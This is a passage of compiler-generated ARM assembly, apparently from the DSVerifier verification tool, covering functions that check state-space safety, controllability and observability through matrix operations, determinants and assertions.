str r3, [fp, #-592]
nop
ldr r3, .L1454+4
add r3, r3, #640
ldmia r3, {r2-r3}
ldr r1, .L1454
ldr r0, [r1]
ldr r1, [fp, #-8]
eors r0, r1, r0
mov r1, #0
beq .L1452
bl __stack_chk_fail
.L1452:
mov r0, r2
mov r1, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1455:
.align 2
.L1454:
.word .LC82
.word _controller
.word nInputs
.word nOutputs
.size fxp_ss_closed_loop_safety, .-fxp_ss_closed_loop_safety
.section .rodata
.align 2
.LC83:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_safety_state_space.h\000"
.align 2
.LC84:
.ascii "output_double <= error_limit\000"
.text
.align 2
.global verify_safety_state_space
.syntax unified
.arm
.fpu softvfp
.type verify_safety_state_space, %function
verify_safety_state_space:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #16
bl fxp_ss_closed_loop_safety
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2iz
mov r3, r0
str r3, [fp, #-16]
ldr r0, [fp, #-16]
bl fxp_to_double
str r0, [fp, #-12]
str r1, [fp, #-8]
ldr r3, .L1459
ldmia r3, {r2-r3}
sub r1, fp, #12
ldmia r1, {r0-r1}
bl __aeabi_dcmple
mov r3, r0
cmp r3, #0
bne .L1457
ldr r3, .L1459+4
mov r2, #140
ldr r1, .L1459+8
ldr r0, .L1459+12
bl __assert_fail
.L1457:
mov r3, #0
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1460:
.align 2
.L1459:
.word error_limit
.word __PRETTY_FUNCTION__.7770
.word .LC83
.word .LC84
.size verify_safety_state_space, .-verify_safety_state_space
.section .rodata
.align 2
.LC85:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_controllability.h\000"
.align 2
.LC86:
.ascii "determinant(controllabilityMatrix_double,nStates) !"
.ascii "= 0\000"
.align 2
.LC87:
.word __stack_chk_guard
.text
.align 2
.global verify_controllability
.syntax unified
.arm
.fpu softvfp
.type verify_controllability, %function
verify_controllability:
@ args = 0, pretend = 0, frame = 536
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #552
ldr r3, .L1501
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-540]
b .L1462
.L1465:
mov r3, #0
str r3, [fp, #-536]
b .L1463
.L1464:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-520]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-456]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-392]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-328]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-264]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #136
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1463:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, .L1501+8
ldr r2, [r2]
mul r3, r2, r3
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1464
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1462:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1465
mov r3, #0
str r3, [fp, #-540]
b .L1466
.L1469:
mov r3, #0
str r3, [fp, #-536]
b .L1467
.L1468:
ldr r1, .L1501+12
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-520]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1467:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1468
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1466:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1469
mov r3, #0
str r3, [fp, #-540]
b .L1470
.L1473:
mov r3, #0
str r3, [fp, #-536]
b .L1471
.L1472:
ldr r1, .L1501+12
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
add r3, r3, #16
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-456]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1471:
ldr r3, .L1501+8
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1472
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1470:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1473
ldr r3, .L1501+8
ldr r3, [r3]
cmp r3, #1
ble .L1474
mov r3, #0
str r3, [fp, #-532]
mov r3, #0
str r3, [fp, #-536]
b .L1475
.L1480:
ldr r3, .L1501+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1501+4
ldr r3, [r3]
mov ip, r3
ldr r1, [fp, #-532]
sub r2, fp, #524
sub r3, fp, #332
str r3, [sp]
mov r3, r1
mov r1, ip
bl fxp_exp_matrix
ldr r3, [fp, #-532]
add r3, r3, #1
str r3, [fp, #-532]
ldr r3, .L1501+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1501+4
ldr r3, [r3]
mov r1, r3
ldr r3, .L1501+4
ldr r3, [r3]
mov r2, r3
ldr r3, .L1501+8
ldr r3, [r3]
mov ip, r3
sub r3, fp, #268
str r3, [sp, #8]
sub r3, fp, #460
str r3, [sp, #4]
sub r3, fp, #332
str r3, [sp]
mov r3, ip
bl fxp_matrix_multiplication
mov r3, #0
str r3, [fp, #-528]
b .L1476
.L1479:
mov r3, #0
str r3, [fp, #-540]
b .L1477
.L1478:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-528]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-264]
ldr r3, [fp, #-540]
lsl r1, r3, #2
ldr r3, [fp, #-536]
add r3, r1, r3
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-392]
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1477:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1478
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
ldr r3, [fp, #-528]
add r3, r3, #1
str r3, [fp, #-528]
.L1476:
ldr r3, .L1501+8
ldr r3, [r3]
ldr r2, [fp, #-528]
cmp r2, r3
blt .L1479
.L1475:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, .L1501+8
ldr r2, [r2]
mul r3, r2, r3
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1480
mov r3, #0
str r3, [fp, #-540]
b .L1481
.L1484:
mov r3, #0
str r3, [fp, #-536]
b .L1482
.L1483:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-328]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1482:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, .L1501+8
ldr r2, [r2]
mul r3, r2, r3
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1483
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1481:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1484
ldr r3, .L1501+4
ldr ip, [r3]
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, .L1501+8
ldr r2, [r2]
mul r3, r2, r3
sub r1, fp, #332
sub r0, fp, #396
mov r2, ip
bl fxp_transpose
ldr r3, .L1501+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, .L1501+8
ldr r2, [r2]
mul r3, r2, r3
mov r1, r3
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, .L1501+8
ldr r2, [r2]
mul r3, r2, r3
mov r2, r3
ldr r3, .L1501+4
ldr r3, [r3]
mov ip, r3
sub r3, fp, #204
str r3, [sp, #8]
sub r3, fp, #332
str r3, [sp, #4]
sub r3, fp, #396
str r3, [sp]
mov r3, ip
bl fxp_matrix_multiplication
mov r3, #0
str r3, [fp, #-540]
b .L1485
.L1488:
mov r3, #0
str r3, [fp, #-536]
b .L1486
.L1487:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-200]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr r1, [fp, #-540]
lsl r0, r1, #2
ldr r1, [fp, #-536]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #136
stm r1, {r2-r3}
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1486:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1487
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1485:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1488
ldr r3, .L1501+4
ldr r2, [r3]
sub r3, fp, #140
mov r1, r2
mov r0, r3
bl determinant
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1490
ldr r3, .L1501+16
mov r2, #91
ldr r1, .L1501+20
ldr r0, .L1501+24
bl __assert_fail
.L1474:
mov r3, #0
str r3, [fp, #-536]
b .L1491
.L1494:
ldr r3, .L1501+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1501+4
ldr r3, [r3]
mov ip, r3
ldr r1, [fp, #-536]
sub r2, fp, #524
sub r3, fp, #332
str r3, [sp]
mov r3, r1
mov r1, ip
bl fxp_exp_matrix
ldr r3, .L1501+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1501+4
ldr r3, [r3]
mov r1, r3
ldr r3, .L1501+4
ldr r3, [r3]
mov r2, r3
ldr r3, .L1501+8
ldr r3, [r3]
mov ip, r3
sub r3, fp, #268
str r3, [sp, #8]
sub r3, fp, #460
str r3, [sp, #4]
sub r3, fp, #332
str r3, [sp]
mov r3, ip
bl fxp_matrix_multiplication
mov r3, #0
str r3, [fp, #-540]
b .L1492
.L1493:
ldr r3, [fp, #-540]
lsl r3, r3, #4
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-264]
ldr r3, [fp, #-540]
lsl r1, r3, #2
ldr r3, [fp, #-536]
add r3, r1, r3
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-392]
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1492:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1493
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1491:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1494
mov r3, #0
str r3, [fp, #-540]
b .L1495
.L1498:
mov r3, #0
str r3, [fp, #-536]
b .L1496
.L1497:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r3, [r3, #-392]
mov r0, r3
bl fxp_to_double
mov r2, r0
mov r3, r1
ldr r1, [fp, #-540]
lsl r0, r1, #2
ldr r1, [fp, #-536]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #136
stm r1, {r2-r3}
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1496:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1497
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1495:
ldr r3, .L1501+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1498
ldr r3, .L1501+4
ldr r2, [r3]
sub r3, fp, #140
mov r1, r2
mov r0, r3
bl determinant
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1490
ldr r3, .L1501+16
mov r2, #113
ldr r1, .L1501+20
ldr r0, .L1501+24
bl __assert_fail
.L1490:
mov r3, #0
ldr r2, .L1501
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L1500
bl __stack_chk_fail
.L1500:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1502:
.align 2
.L1501:
.word .LC87
.word nStates
.word nInputs
.word _controller
.word __PRETTY_FUNCTION__.7825
.word .LC85
.word .LC86
.size verify_controllability, .-verify_controllability
.section .rodata
.align 2
.LC88:
.ascii "determinant(mimo_controllabilityMatrix_double,nStat"
.ascii "es) != 0\000"
.align 2
.LC89:
.ascii "determinant(controllabilityMatrix,nStates) != 0\000"
.align 2
.LC90:
.word __stack_chk_guard
.text
.align 2
.global verify_controllability_double
.syntax unified
.arm
.fpu softvfp
.type verify_controllability_double, %function
verify_controllability_double:
@ args = 0, pretend = 0, frame = 536
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #552
ldr r3, .L1523
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
ldr r3, .L1523+4
ldr r3, [r3]
cmp r3, #1
ble .L1504
mov r3, #0
str r3, [fp, #-532]
mov r3, #0
str r3, [fp, #-536]
b .L1505
.L1510:
ldr r3, .L1523+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1523+8
ldr r3, [r3]
mov r1, r3
ldr r2, [fp, #-532]
sub r3, fp, #396
str r3, [sp]
mov r3, r2
ldr r2, .L1523+12
bl double_exp_matrix
ldr r3, [fp, #-532]
add r3, r3, #1
str r3, [fp, #-532]
ldr r3, .L1523+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1523+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1523+8
ldr r3, [r3]
mov r2, r3
ldr r3, .L1523+4
ldr r3, [r3]
mov ip, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1523+16
str r3, [sp, #4]
sub r3, fp, #396
str r3, [sp]
mov r3, ip
bl double_matrix_multiplication
mov r3, #0
str r3, [fp, #-528]
b .L1506
.L1509:
mov r3, #0
str r3, [fp, #-540]
b .L1507
.L1508:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-528]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #264
ldmia r3, {r2-r3}
ldr r1, [fp, #-540]
lsl r0, r1, #2
ldr r1, [fp, #-536]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #520
stm r1, {r2-r3}
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1507:
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1508
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
ldr r3, [fp, #-528]
add r3, r3, #1
str r3, [fp, #-528]
.L1506:
ldr r3, .L1523+4
ldr r3, [r3]
ldr r2, [fp, #-528]
cmp r2, r3
blt .L1509
.L1505:
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, .L1523+4
ldr r2, [r2]
mul r3, r2, r3
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1510
mov r3, #0
str r3, [fp, #-540]
b .L1511
.L1514:
mov r3, #0
str r3, [fp, #-536]
b .L1512
.L1513:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
sub r2, fp, #4
add r3, r2, r3
sub r1, r3, #392
mov r2, #0
mov r3, #0
stm r1, {r2-r3}
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1512:
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, .L1523+4
ldr r2, [r2]
mul r3, r2, r3
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1513
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1511:
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1514
ldr r3, .L1523+8
ldr ip, [r3]
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, .L1523+4
ldr r2, [r2]
mul r3, r2, r3
sub r1, fp, #396
sub r0, fp, #524
mov r2, ip
bl transpose
ldr r3, .L1523+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, .L1523+4
ldr r2, [r2]
mul r3, r2, r3
mov r1, r3
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, .L1523+4
ldr r2, [r2]
mul r3, r2, r3
mov r2, r3
ldr r3, .L1523+8
ldr r3, [r3]
mov ip, r3
sub r3, fp, #140
str r3, [sp, #8]
sub r3, fp, #396
str r3, [sp, #4]
sub r3, fp, #524
str r3, [sp]
mov r3, ip
bl double_matrix_multiplication
ldr r3, .L1523+8
ldr r2, [r3]
sub r3, fp, #140
mov r1, r2
mov r0, r3
bl determinant
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1516
ldr r3, .L1523+20
mov r2, #154
ldr r1, .L1523+24
ldr r0, .L1523+28
bl __assert_fail
.L1504:
mov r3, #0
str r3, [fp, #-536]
b .L1517
.L1520:
ldr r3, .L1523+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1523+8
ldr r3, [r3]
mov r1, r3
ldr r2, [fp, #-536]
sub r3, fp, #396
str r3, [sp]
mov r3, r2
ldr r2, .L1523+12
bl double_exp_matrix
ldr r3, .L1523+8
ldr r3, [r3]
mov r0, r3
ldr r3, .L1523+8
ldr r3, [r3]
mov r1, r3
ldr r3, .L1523+8
ldr r3, [r3]
mov r2, r3
ldr r3, .L1523+4
ldr r3, [r3]
mov ip, r3
sub r3, fp, #268
str r3, [sp, #8]
ldr r3, .L1523+16
str r3, [sp, #4]
sub r3, fp, #396
str r3, [sp]
mov r3, ip
bl double_matrix_multiplication
mov r3, #0
str r3, [fp, #-540]
b .L1518
.L1519:
ldr r3, [fp, #-540]
lsl r3, r3, #5
sub r2, fp, #4
add r3, r2, r3
sub r3, r3, #264
ldmia r3, {r2-r3}
ldr r1, [fp, #-540]
lsl r0, r1, #2
ldr r1, [fp, #-536]
add r1, r0, r1
lsl r1, r1, #3
sub r0, fp, #4
add r1, r0, r1
sub r1, r1, #520
stm r1, {r2-r3}
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1518:
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1519
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1517:
ldr r3, .L1523+8
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1520
ldr r3, .L1523+8
ldr r2, [r3]
sub r3, fp, #524
mov r1, r2
mov r0, r3
bl determinant
mov r2, #0
mov r3, #0
bl __aeabi_dcmpeq
mov r3, r0
cmp r3, #0
beq .L1516
ldr r3, .L1523+20
mov r2, #163
ldr r1, .L1523+24
ldr r0, .L1523+32
bl __assert_fail
.L1516:
mov r3, #0
ldr r2, .L1523
ldr r1, [r2]
ldr r2, [fp, #-8]
eors r1, r2, r1
mov r2, #0
beq .L1522
bl __stack_chk_fail
.L1522:
mov r0, r3
sub sp, fp, #4
@ sp needed
pop {fp, pc}
.L1524:
.align 2
.L1523:
.word .LC90
.word nInputs
.word nStates
.word _controller
.word _controller+128
.word __PRETTY_FUNCTION__.7865
.word .LC85
.word .LC88
.word .LC89
.size verify_controllability_double, .-verify_controllability_double
.section .rodata
.align 2
.LC91:
.ascii "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4"
.ascii ".0-cbmc-5.6/bmc/engine/verify_observability.h\000"
.align 2
.LC92:
.ascii "determinant(observabilityMatrix_double,nStates) != "
.ascii "0\000"
.align 2
.LC93:
.word __stack_chk_guard
.text
.align 2
.global verify_observability
.syntax unified
.arm
.fpu softvfp
.type verify_observability, %function
verify_observability:
@ args = 0, pretend = 0, frame = 536
@ frame_needed = 1, uses_anonymous_args = 0
push {fp, lr}
add fp, sp, #4
sub sp, sp, #552
ldr r3, .L1565
ldr r3, [r3]
str r3, [fp, #-8]
mov r3,#0
mov r3, #0
str r3, [fp, #-540]
b .L1526
.L1529:
mov r3, #0
str r3, [fp, #-536]
b .L1527
.L1528:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-392]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-520]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-456]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-328]
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-264]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1527:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1528
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1526:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1529
mov r3, #0
str r3, [fp, #-540]
b .L1530
.L1533:
mov r3, #0
str r3, [fp, #-536]
b .L1531
.L1532:
ldr r1, .L1565+8
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-520]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1531:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1532
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1530:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1533
mov r3, #0
str r3, [fp, #-540]
b .L1534
.L1537:
mov r3, #0
str r3, [fp, #-536]
b .L1535
.L1536:
ldr r1, .L1565+8
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
add r3, r3, #32
lsl r3, r3, #3
add r3, r1, r3
ldmia r3, {r2-r3}
mov r0, r2
mov r1, r3
bl fxp_double_to_fxp
mov r1, r0
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
str r1, [r3, #-456]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1535:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1536
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1534:
ldr r3, .L1565+12
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1537
ldr r3, .L1565+12
ldr r3, [r3]
cmp r3, #1
ble .L1538
mov r3, #0
str r3, [fp, #-536]
mov r3, #0
str r3, [fp, #-532]
b .L1539
.L1544:
ldr r3, .L1565+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov ip, r3
ldr r1, [fp, #-532]
sub r2, fp, #524
sub r3, fp, #332
str r3, [sp]
mov r3, r1
mov r1, ip
bl fxp_exp_matrix
ldr r3, [fp, #-532]
add r3, r3, #1
str r3, [fp, #-532]
ldr r3, .L1565+12
ldr r3, [r3]
mov r0, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov r1, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov r2, r3
ldr r3, .L1565+4
ldr r3, [r3]
mov ip, r3
sub r3, fp, #268
str r3, [sp, #8]
sub r3, fp, #332
str r3, [sp, #4]
sub r3, fp, #460
str r3, [sp]
mov r3, ip
bl fxp_matrix_multiplication
mov r3, #0
str r3, [fp, #-528]
b .L1540
.L1543:
mov r3, #0
str r3, [fp, #-540]
b .L1541
.L1542:
ldr r3, [fp, #-528]
lsl r2, r3, #2
ldr r3, [fp, #-540]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
ldr r2, [r3, #-264]
ldr r3, [fp, #-536]
lsl r1, r3, #2
ldr r3, [fp, #-540]
add r3, r1, r3
lsl r3, r3, #2
sub r1, fp, #4
add r3, r1, r3
str r2, [r3, #-392]
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1541:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1542
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
ldr r3, [fp, #-528]
add r3, r3, #1
str r3, [fp, #-528]
.L1540:
ldr r3, .L1565+12
ldr r3, [r3]
ldr r2, [fp, #-528]
cmp r2, r3
blt .L1543
.L1539:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-532]
cmp r2, r3
blt .L1544
mov r3, #0
str r3, [fp, #-540]
b .L1545
.L1548:
mov r3, #0
str r3, [fp, #-536]
b .L1546
.L1547:
ldr r3, [fp, #-540]
lsl r2, r3, #2
ldr r3, [fp, #-536]
add r3, r2, r3
lsl r3, r3, #2
sub r2, fp, #4
add r3, r2, r3
mov r2, #0
str r2, [r3, #-328]
ldr r3, [fp, #-536]
add r3, r3, #1
str r3, [fp, #-536]
.L1546:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, .L1565+12
ldr r2, [r2]
mul r3, r2, r3
ldr r2, [fp, #-536]
cmp r2, r3
blt .L1547
ldr r3, [fp, #-540]
add r3, r3, #1
str r3, [fp, #-540]
.L1545:
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, [fp, #-540]
cmp r2, r3
blt .L1548
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, .L1565+12
ldr r2, [r2]
mul r2, r3, r2
ldr r3, .L1565+4
ldr r3, [r3]
sub r1, fp, #332
sub r0, fp, #396
bl fxp_transpose
ldr r3, .L1565+4
ldr r3, [r3]
mov r0, r3
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, .L1565+12
ldr r2, [r2]
mul r3, r2, r3
mov r1, r3
ldr r3, .L1565+4
ldr r3, [r3]
ldr r2, .L1565+12
ldr r2, [r2]
mul r3, r2, r3
